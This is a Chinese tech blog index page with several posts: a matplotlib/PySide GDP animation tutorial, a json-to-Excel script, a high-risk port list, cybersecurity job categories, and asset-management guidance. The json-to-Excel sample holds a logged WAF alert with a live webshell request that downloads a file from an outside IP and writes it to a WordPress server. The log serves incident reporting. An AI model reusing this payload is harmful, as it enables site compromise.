XieJava's blog

记录最好的自己


  • 首页

  • 分类

  • 标签

  • 归档

  • 关于

Python通过matplotlib动态绘图实现中美GDP历年对比趋势动图

发表于 2023-08-27 | 更新于: 2025-04-08 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 8

随着中国的各种实力的提高,经常在各种媒体上看到中国与各个国家历年的各种指标数据的对比,为了更清楚的展示历年的发展趋势,有的还做成了动图,看到中国各种指标数据的近年的不断逆袭,心中的自豪感油然而生。今天通过Python来实现matplotlib的动态绘图,将中美两国近年的GDP做个对比,展示中国GPD对美国的追赶态势,相信不久的将来中国的GDP数据将稳超美国。

效果如下:
中美GDP历年对比趋势动图

实现上面的动态绘图效果,综合用到了pandas的数据采集、数据整理、matplotlib绘图、坐标轴及数据的动态定义、定时器等知识。最终通过Python的GUI库PySide进行展示形成一个GUI的可执行程序。

一、数据采集和准备

中美历年的GDP数据通过百度在网上一搜一大把。我是从https://www.kylc.com/stats/global/yearly_per_country/g_gdp/chn-usa.html 找到的数据。将数据整理成EXCEL保存至data\中国VS美国.xlsx。
中国VS美国GDP数据集

有从1966年至2022年的中美GDP的数据。
首先对这些数据进行整理,因为获取的GDP数据是字符串类型如17.96万亿 (17,963,170,521,079),我们需要将GDP的数据从文本中提取出来,也就是取括号中的数据。
这里通过正则表达式将括号中的GDP数据提取出来,并转换为亿元为单位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
import pandas as pd
import locale
import matplotlib.pyplot as plt

pattern = re.compile('\((\S*)\)')

def getgdpvalue(gdpstr):
re_obj=pattern.search(gdpstr)
gdp_value=locale.atof(re_obj.group(1))/100000000
return gdp_value

df_data = pd.read_excel('data\中国VS美国.xlsx')
df_data = df_data.loc[1:len(df_data)]
df_data['china_gdp_value'] = df_data['中国'].map(getgdpvalue)
df_data['us_gdp_value'] = df_data['美国'].map(getgdpvalue)
df_data = df_data.sort_values('年份')

有了数据以后就可以通过数据绘图了。

二、matplotlib绘图

先通过matplotlib绘图看看数据的效果。

1
2
3
4
5
6
7
8
import matplotlib.pyplot as plt
plt.figure()
plt.plot(df_data['年份'],df_data['china_gdp_value'])
plt.plot(df_data['年份'],df_data['us_gdp_value'])
plt.title('中美GDP对比')
plt.xlabel('年份')
plt.ylim('GDP(亿)')
plt.show()

中美GDP对比趋势

可以看到中国的GDP数据在1960年至1990年都是比较平稳的,到了1990年后中国开始了爆发式的追赶模式。
我们要将这种趋势通过动态的方式展示出来。

三、数据展示与动态更新

首先通过QMainWindw定义QWidget组件,在QWidget中加入FigureCanvasQTAgg组件通过canvas载入matplotlib绘图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
class ApplicationWindow(QMainWindow):

def __init__(self, parent=None,org_data=None):
QMainWindow.__init__(self, parent)
self.axes = None
self.axis_china=None
self.axis_us=None
self.datacount=10
self.org_data = org_data
self.auto_offset = 0
# Central widget
self._main = QWidget()
self.setCentralWidget(self._main)
# Figure
self.canvas = FigureCanvasQTAgg(figure)
if len(self.org_data) > 0:
show_data = self.org_data[0:self.datacount]
self.axes = self.canvas.figure.subplots()
self.axes.set_title('中美GDP对比')
self.axis_china = self.axes.plot(show_data['年份'], show_data['china_gdp_value'], label='中国GDP')
self.axis_us = self.axes.plot(show_data['年份'], show_data['us_gdp_value'], label='美国GDP')
y_max = max(self.org_data['us_gdp_value'].max(), self.org_data['china_gdp_value'].max())
self.axes.set_ylabel('GDP(亿元)')
self.axes.set_xlabel('年份')
self.axes.set_ylim(0, y_max)
self.axes.set_xlim(show_data['年份'].min(), show_data['年份'].max())
self.axes.legend(loc="upper left")
self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000))
self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1))
figure.tight_layout() # 自动调整子图参数,使之填充整个图像区域
# 下拉框,选择模式 # ComboBox (combo_type)
self.combo_type = QComboBox()
self.combo_type.addItems(['自动播放', '手动播放'])
# Sliders
min_value = 0
self.max_value = len(self.org_data)-cur_data_len
self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条
layout1 = QHBoxLayout()
layout1.addWidget(self.combo_type)
# layout
layout2 = QVBoxLayout()
layout2.addWidget(self.canvas, 88)
layout2.addWidget(self.slider_update)
# Main layout
layout = QVBoxLayout(self._main)
layout.addLayout(layout1)
layout.addLayout(layout2, 100)
self.canvas.draw()
# Signal and Slots connections
self.combo_type.currentTextChanged.connect(self.selecttype)
self.slider_update.valueChanged.connect(self.update_frequency)
self.autoslider()

一种方式是通过QSlider组件,通过手动拉slider组件来实现数据的变化,一种通过QTimer组件自动让数据变化。

1、QSlider组件,手动方式实现动态绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
@Slot()
def update_frequency(self, new_val):
# 偏移量每次偏移1
f = int(new_val)
offset = f + cur_data_len # 偏移刻度
show_data = self.org_data[f: offset]
x = show_data['年份']
y_china = show_data['china_gdp_value']
y_us = show_data['us_gdp_value']
self.axes.set_xlim(x.min(), x.max())
self.axis_china[0].set_data(x, y_china)
self.axis_us[0].set_data(x, y_us)
self.canvas.draw()

手动拉slider组件来实现数据的变化效果:
手动数据变化

2、QTimer组件,自动动态绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    self.autoslider()

def autoslider(self):
self.timer = QTimer()
self.timer.setInterval(100) # 100毫秒更新一次数据
self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1,也就是跳一年的数据
self.timer.start()

def autoupdate(self):
self.update_frequency(self.auto_offset)
self.slider_update.setSliderPosition(self.auto_offset)
if self.auto_offset < self.max_value:
self.auto_offset = self.auto_offset+1
else:
self.auto_offset = 0

效果如文章最前面所示。

四、完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import re
import sys
import pandas as pd
import locale
import matplotlib.ticker as mticker
from PySide6.QtCore import Qt, Slot, QTimer
from PySide6.QtWidgets import QMainWindow, QApplication, QVBoxLayout, QHBoxLayout, QWidget, QSlider, QComboBox
from matplotlib.backends.backend_qtagg import FigureCanvasQTAgg
from matplotlib.figure import Figure

figure = Figure(figsize=(12, 6), dpi=90)

global cur_data_len, cur_major_locator
cur_data_len = 10 # 当前显示的数据量(显示10年的数据)
cur_major_locator = 10 # 当前刻度的定位器(主刻度)

pattern = re.compile('\((\S*)\)')

def getgdpvalue(gdpstr):
re_obj=pattern.search(gdpstr)
gdp_value=locale.atof(re_obj.group(1))/100000000
return gdp_value

class ApplicationWindow(QMainWindow):

def __init__(self, parent=None,org_data=None):
QMainWindow.__init__(self, parent)
self.axes = None
self.axis_china=None
self.axis_us=None
self.datacount=10
self.org_data = org_data
self.auto_offset = 0
# Central widget
self._main = QWidget()
self.setCentralWidget(self._main)
# Figure
self.canvas = FigureCanvasQTAgg(figure)
if len(self.org_data) > 0:
show_data = self.org_data[0:self.datacount]
self.axes = self.canvas.figure.subplots()
self.axes.set_title('中美GDP对比')
self.axis_china = self.axes.plot(show_data['年份'], show_data['china_gdp_value'], label='中国GDP')
self.axis_us = self.axes.plot(show_data['年份'], show_data['us_gdp_value'], label='美国GDP')
y_max = max(self.org_data['us_gdp_value'].max(), self.org_data['china_gdp_value'].max())
self.axes.set_ylabel('GDP(亿元)')
self.axes.set_xlabel('年份')
self.axes.set_ylim(0, y_max)
self.axes.set_xlim(show_data['年份'].min(), show_data['年份'].max())
self.axes.legend(loc="upper left")
self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000))
self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1))
figure.tight_layout() # 自动调整子图参数,使之填充整个图像区域
# 下拉框,选择模式 # ComboBox (combo_type)
self.combo_type = QComboBox()
self.combo_type.addItems(['自动播放', '手动播放'])
# Sliders
min_value = 0
self.max_value = len(self.org_data)-cur_data_len
self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条
layout1 = QHBoxLayout()
layout1.addWidget(self.combo_type)
# layout
layout2 = QVBoxLayout()
layout2.addWidget(self.canvas, 88)
layout2.addWidget(self.slider_update)
# Main layout
layout = QVBoxLayout(self._main)
layout.addLayout(layout1)
layout.addLayout(layout2, 100)
self.canvas.draw()
# Signal and Slots connections
self.combo_type.currentTextChanged.connect(self.selecttype)
self.slider_update.valueChanged.connect(self.update_frequency)
self.autoslider()

def autoslider(self):
self.timer = QTimer()
self.timer.setInterval(100) # 100毫秒更新一次数据
self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1,也就是跳一年的数据
self.timer.start()

def autoupdate(self):
self.update_frequency(self.auto_offset)
self.slider_update.setSliderPosition(self.auto_offset)
if self.auto_offset < self.max_value:
self.auto_offset = self.auto_offset+1
else:
self.auto_offset = 0

@Slot()
def selecttype(self, text):
if '自动播放' == text:
self.autoslider()
elif '手动播放' == text:
self.timer.stop()

@Slot()
def update_frequency(self, new_val):
# 偏移量每次偏移1
f = int(new_val)
offset = f + cur_data_len # 偏移刻度
show_data = self.org_data[f: offset]
x = show_data['年份']
y_china = show_data['china_gdp_value']
y_us = show_data['us_gdp_value']
self.axes.set_xlim(x.min(), x.max())
self.axis_china[0].set_data(x, y_china)
self.axis_us[0].set_data(x, y_us)
self.canvas.draw()


if __name__ == "__main__":
app = QApplication(sys.argv)
locale.setlocale(locale.LC_ALL, 'en_US.UTF-8')
df_data = pd.read_excel('data\中国VS美国.xlsx')
df_data = df_data.loc[1:len(df_data)]
df_data['china_gdp_value'] = df_data['中国'].map(getgdpvalue)
df_data['us_gdp_value'] = df_data['美国'].map(getgdpvalue)
df_data = df_data.sort_values('年份')
w = ApplicationWindow(org_data=df_data)
w.setFixedSize(1000, 500)
w.show()
app.exec()

六、总结

Python实现matplotlib动态绘图,是非常简单和容易的,其实关键还是在数据的组织,也就是要准备好要绘图的坐标轴的x的数据和y的数据,通过set_data(x,y)来动态更新数据,要注意的是变化的数据后X轴或Y轴的显示要变化,这里可以通过轴的set_xlim()或set_ylim()方法来动态设置,刻度也可通过set_major_locator()来指定。

数据集见 https://xiejava1018.github.io/xiejavaimagesrc/images/2023/20230827/中国VS美国.xlsx


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python三行代码实现json转Excel

发表于 2023-08-18 | 更新于: 2025-04-08 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 656 | 阅读时长 ≈ 3

最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。
用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。
实现如下:

一、引包

引入pandas包,pandas写excel依赖openpyxl包所以也到导入

1
2
pip install pandas 
pip install openpyxl

二、代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import json
import pandas as pd
json_data=r'''
{
"msg": "",
"killChain": "02",
"attackIllustration": "1起恶意盲打木马写入攻击",
"traceSourceFlag": "01",
"riskLevel": "02",
"holeType": "",
"discoveryTime": "2023-08-15 14:36:23",
"disposalMeasure": "01",
"informationSource": "长亭WAF",
"disposalSuggestion": "建议封禁",
"riskLevelPredue": "",
"impactFlag": "02",
"disposalOperateRecord": "WAF封禁",
"serialNo": "ABC123",
"sourceIpBelong": "美国",
"potentialImpact": "无",
"sourceIpType": "04",
"protocalType": "HTTP",
"disposalFlag": "01",
"groupOrderType": "1",
"comment": "通过微步溯源,IP归属地是美国",
"attackDetail": "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1\n\nHost: abcd.cn\n\nConnection: keep-alive\n\nAccept-Encoding: gzip, deflate\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n\nUser-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36\n\nAccept-Language: en-US,en;q=0.9,fr;q=0.8\n\nCache-Control: max-age=0\n\nreferer: www.google.com\n\nUpgrade-Insecure-Requests: 1\n\nContent-Length: 231\n\nContent-Type: application/x-www-form-urlencoded\n\n\n\nvz=$x=fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/blue/uploader.php','w+'),file_get_contents('http://51.79.124.111/vz.txt'));echo+\"aDriv4\".$x;",
"taskId": "",
"status": ""
}'''
dic_data = json.loads(json_data,strict=False)
df_data=pd.DataFrame(dic_data,index=[0])
df_data.to_excel('attack.xlsx')

效果:
json转excel

三、注意事项

因为attackDetail字段有很多类似\n等的转义符,会导致json解析不成功,在json.loads的时候就会报错。报类似于
json.decoder.JSONDecodeError: Expecting ',' delimiter: line 50 column 149 (char 1339)的错误。所以需要在字符串前面加r标识来忽略掉转义机制。

常见的字符串标识u,r,b,f

  • 字符串前加u
    后面字符串以 Unicode格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
  • 字符串前加r
    去掉反斜杠的转义机制。(特殊字符:即那些,反斜杠加上对应字母,表示对应的特殊含义的,比如最常见的”\n”表示换行,”\t”表示Tab等。 )
  • 字符串前加b
    b前缀表示:后面字符串是bytes 类型。
  • 字符串前加f
    以 f 开头表示在字符串内支持大括号内的python 表达式字符串拼接。
    如:
1
2
3
name='xiejava'
outputstr=f'My name is {name}'
print(outputstr)

输出结果为:

1
My name is xiejava

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

网络安全之互联网暴露资产端口

发表于 2023-05-15 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 2.1k | 阅读时长 ≈ 7

互联网暴露资产因直接向公众互联网开放,极易遭受来自外部组织或人员的入侵与攻击,是风险管控的高危区域。

作为企业的安全管理,互联网暴露资产的管理是非常重要的一环。应该建立规范的流程严控互联网暴露端口的审批,对互联网暴露出口应尽量缩减收敛减少暴露面,对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产,对因为业务需要必须要暴露的资产端口进行有效的访问控制策略等。

本文介绍互联网暴露资产端口的定义、分类及管理。

互联网暴露资产端口定义

互联网暴露端口指信息系统资产、网络设备或终端设备面向互联网开放服务或开放协议的端口(含 NAT 映射端口),该端口可被其他互联网的资产进行主动探测、访问或连接。当某资产至少具备一个互联网暴露端口时,则认定该资产为互联网暴露资产;当某信息系统内部至少具备一台互联网暴露资产时,则认定该信息系统为互联网暴露信息系统。
当互联网暴露资产同时面向内网(或私网)开放服务或开放协议时,相关端口不属于互联网暴露端口,不纳入互联网暴露端口管控范围;当某资产通过互联网主动发起单向通信时,因该资产用于通信服务的端口并未暴露于互联网,也无法被其他互联网资产主动探测、访问或连接,则认定该资产不属于互联网暴露资产,且不具备互联网暴露端口。
互联网暴露端口的判定,与该端口是否已执行访问控制策略不相关。

互联网暴露资产端口分类

互联网暴露资产(含信息系统、网络设备、终端)端口按照其功能用途,可分为业务类端口及管理类端口两大类:
1)业务类端口。具体可细分为以下三类:

  • 用户访问端口:主要指各类与用户侧交互的,支撑用户访问服务的端口,如 WEB 访问端口、视频流端口等。
  • 平台交互端口:系统内外部服务器间的接口交互、数据交互等服务端口。
  • 路由协议端口:常见于路由设备,用于配置路由协议而开放的端口服务,如 BGP边界网关协议端口、OSPF 开放式最短路径优先协议端口等。

2)管理类端口。主要包含实现远程操控管理、后台访问运维、用户数据收集及用户终端主动管控等服务的端口。

互联网暴露资产端口管理

  • 尽量缩减收敛减少暴露面,基于最小使用原则,对于高危风险端口应严禁对互联网开放,尤其是管理类端口如数据库、运维管理等端口。如mysql的3306端口、Redis的6379端口等。对于必须要暴露的资产端口进行有效管控,如:制定合理的访问控制策略、加强鉴权等。
  • 应该建立互联网暴露资产台账,规范的流程严控互联网暴露端口的审批,动态维护好互联网暴露资产台账。
  • 对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产,对没有没纳管的暴露面资产进行纳管加强管控或下线,及时维护台账。

常见的高危风险端口

高危端口号(默认) 22(TCP)
协议或服务 SSH (Secure Shell),安全外壳协议
应用场景或应用组件 远程登录、SSH 端口转发
端口用途说明 SSH 协议的服务连接端口,可用于进行远程操作维护
端口类别 管理类端口
风险描述 弱口令、未授权访问、暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 23(TCP)
协议或服务 Telnet ( 远程终端协议)
应用场景或应用组件 远程登录
端口用途说明 Telnet 协议的服务连接端口,可用于进行远程操作维护
端口类别 管理类端口
风险描述 弱口令、未授权访问、暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 161(UDP)
协议或服务 SNMP(Simple Network Management Protocol,简单网络管理协议)
端口用途说明 可用于对网络设备进行远程信息读取、管理和配置
端口类别 管理类端口
风险描述 爆破默认团队字符串,导致信息泄漏
高危端口号(默认) 111(TCP/UDP)、2049(TCP/UDP)
协议或服务 NFS(Network File System),网络文件系统
端口用途说明 用于远程文件传输
端口类别 业务类端口(用户访问端口、平台交互端口)
风险描述 权限配置不当
高危端口号(默认) 3306(TCP)
协议或服务 MySQL(数据库)
端口用途说明 MySQL 是一款开源关系数据库管理系统。该端口端口用于数据库远程管理和连接
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 6379(TCP)
协议或服务 Redis(数据库)
端口用途说明 Redis 默认管理和服务端口
端口类别 管理类端口
风险描述 可能会存在未授权访问,或者进行弱口令爆破;获得访问权限后,可能存在任意文件写入导致获取系统远程控制权限。
高危端口号(默认) 27017(TCP)、27018(TCP)、27019(TCP)
协议或服务 MongoDB(数据库)
端口用途说明 用于 MongoDB 数据库的远程管理和服务,以及集群间通信
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 爆破,未授权访问
高危端口号(默认) 1433(TCP)、1434(UDP)
协议或服务 SQLServer(数据库)
端口用途说明 SQL Server 是 Microsoft 公司推出的关系型数据库管理系统。
1433(默认)端口用于数据库远程管理和连接,1434(默认)用于命名服务
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 提权,弱口令,爆破;早期版本还存在远程命令执行漏洞
高危端口号(默认) 1521(TCP)
协议或服务 Oracle(甲骨文数据库)
端口用途说明 Oracle 是甲骨文公司的一款关系数据库管理系统。该端口端口用于数据库远程管理和连接
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 5432(TCP)
协议或服务 PostgreSQL(数据库)
端口用途说明 PostgreSQL 是一款开源关系数据库管理系统。该端口用于数据库远程管理和连接
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 3389(TCP)
协议或服务 Windows RDP(远程桌面协议)
端口用途说明 用于访问服务器的远程桌面服务,提供基于图形界面的远程操作维护功能。
端口类别 管理类端口
风险描述 暴力破解,远程控制
高危端口号(默认) 5800(TCP),5900(TCP)
协议或服务 VNC(Virtual Network Console),虚拟网络控制台
端口用途说明 VNC 是一款远程桌面和远程控制软件,5800 和 5900(默认)端口均为 VNC 服务启动端口或远端控制端口
端口类别 管理类端口
风险描述 暴力破解,远程控制

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

网络安全入行?来了解下网络安全从业人员类别及其工作任务

发表于 2023-04-27 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 6

在这里插入图片描述

又到了每年重保期间,红蓝双方都开始进行准备蓄势待发,网络安全从业人员每年供不应求,尤其是重保期间,双方都在疯狂的招揽准备网络安全人员。那网络安全从业人员分类到底有哪些,都负责哪些具体的工作任务呢?

根据2023年最新发布的在今年10月1日即将实施的国标《GB T 42446-2023 信息安全技术 网络安全从业人员能力基本要求》的定义。
网络安全从业人员(cybersecurity workforce)是从事网络安全工作,承担相应网络安全职责,并且具有相应网络安全知识和技能的人员。
网络安全从业人员完成工作任务需要具备相应的能力。工作任务是指为了实现组织的相关目标,需要执行的网络安全有关的一个或一组工作活动或工作内容。
网络安全从业人员的工作类别包括:网络安全管理、网络安全建设、网络安全运营、网络安全审计和评估、网络安全科研教育。

网络安全从业人员的工作类别

网络安全管理

工作任务 工作任务描叙
网络安全需求分析 依据法律法规、政策标准及业务流程要求,开展符合性需求分析、业务所依赖的信息通信技术(ICT)持续运行需求分析、数据安全需求分析等,定期或在遇到重大网络安全事件时对组织网络安全需求进行复审。
网络安全规划和管理 指导、制定、监督和执行网络安全战略规划、策略制度和体制机制。综合协调相关人员,采取各类网络安全控制措施,降低并缓解系统安全风险。
网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节,采取措施保障网络数据安全。
个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节,采取措施保障个人信息安全。
密码技术应用 运用密码技术,进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。
网络安全咨询 根据组织的安全目标,提供安全规划、设计、实施、运维、管理等方面的政策法规和技术咨询服务。

网络安全建设

工作任务 工作任务描叙
网络安全需求分析 依据法律法规、政策标准及业务流程要求,开展符合性需求分析、业务所依赖的信息通信技术(ICT)持续运行需求分析、数据安全需求分析等,定期或在遇到重大网络安全事件时对组织网络安全需求进行复审。
网络安全架构设计 依据网络安全需求分析、ICT基础设施现状、组织环境和业务特点等,从物理环境、通信网络、计算环境、区域边界等方面进行网络安全架构设计,形成网络安全架构实施方案。
网络安全开发 实现软件、硬件安全架构及功能开发,并对其进行测试、更新和维护。
供应链安全管理 运用供应链安全管理的方法、工具和技术,控制供应链安全风险,管理供应商及网络安全和信息化相关产品和服务的釆购。
网络安全集成实施 网络安全项目管理,信息系统安全集成过程中软硬件设备与系统的安装、调试、测试、配置、故障处理和工程实施,以及配合验收交付。
网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节,采取措施保障网络数据安全。
个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节,采取措施保障个人信息安全。
密码技术应用 运用密码技术,进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。

网络安全运营

工作任务 工作任务描叙
网络安全运维 利用网络安全技术/工具,根据网络安全相关标准和制度流程,操作、运行、维护和管理信息系统。
网络安全监测和分析 利用相关技术、工具和情报信息等对目标系统进行安全监测、分析和预警,并提出应对威胁的措施和改进建议。
网络安全应急管理 组织编制网络安全事件应急预案,实施网络安全应急演练,在应对突发/重大网络安全事件时,采取必要的应急处置措施将信息系统和业务恢复到正常状 态,并进行事件溯源和调查取证。
网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节,采取措施保障网络数据安全。
个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节,采取措施保障个人信息安全。
密码技术应用 运用密码技术,进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。

网络安全审计和评估

工作任务 工作任务描叙
网络安全审计 依据审计依据,在规定的审计范围内,监督和评价网络安全控制措施的设计有效性和执行有效性.确定被审计对象满足审计依据的程度,并提出网络安全工作改进的意见和建议。
网络安全测试 对目标系统的脆弱性和防御机制有效性进行验证,发现安全问题并提出改进建议;根据测试依据,识别并测试系统和产品的安全性。
网络安全评估 评估信息系统、业务及相关网络数据等的符合性和面临的网络安全风险,对风险进行识别、分析、评价,提出改进建议。
网络安全认证 对网络安全管理体系、服务、产品等开展认证与审核。电子数据取证对电子数据进行提取、固定、恢复、分析等工作。

网络安全科研教育

工作任务 工作任务描叙
网络安全研究 研究网络空间安全涉及的学科理论基础和方法论,研究网络安全新兴技术及应用、产业发展趋势,以及网络安全法律法规、政策、标准等。
网络安全培训和评价 开展网络安全培训方案和相关课程的设计、开发和持续改进,实施授课等培训活动,开展评价活动,例如:理论知识考试、技能操作考核、业绩评审、竞赛、选拔等。

在重保期间,最火的就是网络安全运营及网络安全审计和评估人员,分别对应的是红队人员和蓝队人员。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

安全运营之资产安全信息管理

发表于 2023-04-18 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 6

安全风险管理的三要素分别是资产、威胁和脆弱性,脆弱性的存在将会导致风险,而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象(资产)自身的脆弱性,使得威胁的发生成为可能,从而造成了不同的影响,形成了风险。“摸清家底,认清风险”做好资产安全信息管理是安全运营的第一步也是最重要的一步。

资产管理范围

《GBT 20984-2007信息安全技术信息安全风险评估规范》中,对于资产的定义为“对组织有价值的信息或资源,是安全策略保护的对象”。

对于网络空间资产来说,这里的资产是指赛博空间中某机构所拥有的一切可能被潜在攻击者利用的设备、信息、应用等数字资产。具体对象包括但不限于硬件设备、云主机、操作系统、IP地址、端口、证书、域名、Web应用、业务应用、中间件、框架、机构公众号、小程序、App、API、源代码等。概括来说,只要是可操作的对象,不管是实体还是属性。都可以称之为“网络空间资产”。所以对于企业来说这些资产安全信息都要做好管理。参考博文《网络安全之资产及攻击面管理》

在工信部《基础电信企业资产安全管理平台建设指南(试行)》稿中,提到资产安全管理平台对于IP化软硬件资产提供安全管理,其管理范围包括但不限于网络产品、安全产品、物联网设备、办公外设、企业应用、系统软件、支撑系统。资产安全信息应该覆盖到所有的IP化软硬件资产。

资产安全信息一般包括资产的基本属性(如:资产名称、类型、型号、厂商、IP地址、操作系统及其版本信息、端口、服务信息、中间件及其版本信息、程序应用框架及其版本信息、应用软件及其版本信息等)、资产的安全属性(如:安全等级等与网络安全脆弱性整治和威胁监测处置有关的信息等)、资产的管理属性(如:使用单位、责任人、联系电话等)、资产的业务属性(包括所属的业务系统、承载的业务等),应对资产安全信息实施全生命周期管理。

资产安全全生命周期管理

资产的全生命周期覆盖资产上线、资产运行、资产下线,在这过程中要对资产进行定级备案、对资产的台账进行维护、对资产进行风险评估、对资产进行定期的清查。
资产安全全生命周期管理

资产上线

企业应建立统一的资产安全信息管理平台。资产上线,应在资产投入使用前完成对企业信息资产纳管。主机、虚机资产安装资产采集 Agent,网络设备纳入专业网管系统管理,变更的资产信息每天向资产安全信息管理平台同步。

资产运行

资产运行环节是资产生命周期中最重要的环节。安全运营维护单位应建立所辖资产清单台账,应确保相关信息资产IP 地址和端口全量纳管,实现资产安全信息管理平台数据与资产实际情况相符。做好资产运行期的资产台账维护和更新、做好定级备案信息的维护和更新、定期开展资产的风险评估等。

资产下线

资产下线意味着资产的生命周期结束,安全运营维护单位应在资产退网后一定时期内( 如两周或15 日)内完成资产安全信息管理平台数据更新。

资产台账维护

安全运营维护单位应在资产上线前建立好资产台账并在投产前完成对企业信息资产在资产安全信息管理平台的纳管,在资产运行期定期维护台账信息如资产信息发生变化定期更新台账,资产下线推网后完成台账的删除及资产安全信息管理平台数据更新。资产台账维护的主要目的是要保障资产安全信息管理平台数据与资产实际情况相符。

资产定级备案

资产因为其业务属性的不一样,影响的业务也不一样。对于重点的业务系统应予以重点的关注和保护。对于大型关基企业应对资产根据其重要级别进行定级备案。根据级别的不同制定防护策略开展风险评估。一般来说由维护单位在资产的全生命周期内进行定级备案信息的维护和更新,如资产上线前进行定级备案,在系统资产发生变化或下线时进行定级备案信息的更新。安全运营支撑单位对定级备案信息开展技术复核后完成定级备案信息的提交。

资产风险评估

在资产上线前和资产承载的业务发生变化后都应该进行资产风险评估,并根据企业自身要求定期开展风险评估。根据资产定级备案的不同如三级及以上的网络设备和系统平台每年进行一次风险评估,二级网络设备和系统平台每两年进行一次风险评估。对于存在大量个人信息且暴露于互联网的网络设备和系统平台可以请具备资质的第三方单位开展风险评估。重大活动或重要保障前,开展专项风险评估等。

资产定期清查

资产清查,主要是定期对一些“三无”、“七边”的管理覆盖不到位或存在管理薄弱环节的资产进行清查。识别并推进“三无”资产下线(“三无”指“无人管理、无人使用、无人防护”),对“七边”系统进行规范管理(“七边”指测试系统、试验平台、退网未离网系统、工程已上线加载业务但未正式交维系统、与合作伙伴共同运营的业务或系统、责任交接不清的系统、处于衰退期的系统)。安全运营维护单位应配合开展资产清查和纳管,在“三无”资产回收过程中进行系统保障和应急响应。

做好资产安全信息管理是需要通过“技术”+“管理”手段相结合。技术方面企业可以根据自身需求建立资产安全管理平台、攻击面管理平台、互联网暴露面测绘平台,全面覆盖内外资产和互联网暴露面的资产管理;管理方面可以根据自身情况参考资产安全信息管理的全生命周期制定符合企业的资产安全信息管理制度。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

运营商在安全领域的优势分析

发表于 2023-04-11 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.5k | 阅读时长 ≈ 5

网络安全

背景

